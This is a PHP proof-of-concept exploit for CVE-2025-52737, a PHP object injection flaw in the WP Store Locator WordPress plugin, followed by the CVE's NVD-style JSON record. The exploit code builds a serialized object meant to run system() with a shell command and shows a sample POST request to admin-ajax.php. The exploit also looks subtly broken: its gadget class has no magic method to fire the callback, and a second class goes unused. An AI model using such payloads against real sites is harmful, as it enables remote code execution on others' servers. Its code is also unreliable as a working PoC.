CVE-2025-52737

<?php // CVE-2025-52737 PoC - WP Store Locator PHP Object Injection // Discovered by: [email protected] class WP_SPSL_Logging { public $log_file_path; function __construct() { $this->log_file_path = '/tmp/pwned.php'; } } class wp_store_locator_object_injection { public $callback; public $args; function __construct($callback, $args) { $this->callback = $callback; $this->args = $args; } } // Generate malicious serialized payload $exploit_payload = new wp_store_locator_object_injection('system', ['echo "PWNED" > /tmp/pwned.txt']); $serialized_payload = serialize($exploit_payload); echo "Malicious Payload: " . $serialized_payload . "\n"; echo "URL encode for use: " . urlencode($serialized_payload) . "\n"; // Example POST request to trigger the vulnerability /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=wpsl_store_locator&security_token=xxx&data=[MALICIOUS_SERIALIZED_PAYLOAD] */ ?>

{"cve": {"id": "CVE-2025-52737", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:43.837", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Tijmen Smit WP Store Locator wp-store-locator allows Object Injection.This issue affects WP Store Locator: from n/a through <= 2.2.260."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-store-locator/vulnerability/wordpress-wp-store-locator-plugin-2-2-260-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}